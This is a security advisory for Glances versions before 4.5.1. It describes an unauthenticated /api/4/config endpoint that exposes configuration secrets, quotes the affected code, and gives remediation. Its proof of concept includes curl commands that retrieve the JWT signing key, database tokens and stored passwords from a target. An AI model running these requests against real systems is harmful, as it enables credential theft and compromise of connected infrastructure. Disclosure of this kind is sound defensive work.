Glances Exposes Unauthenticated Configuration Secrets

Overview

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:

• File: glances/outputs/glances_restful_api.py, lines 1154-1167

def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)

• File: glances/config.py, lines 280-287

def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary

• File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

• Start Glances in default webserver mode:

glances -w
# Glances web server started on http://0.0.0.0:61208/

• From any network-reachable host, retrieve all configuration secrets:

# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Affected packages

• glances < 4.5.1

Remediation

Upgrade to a patched release:

• glances 4.5.1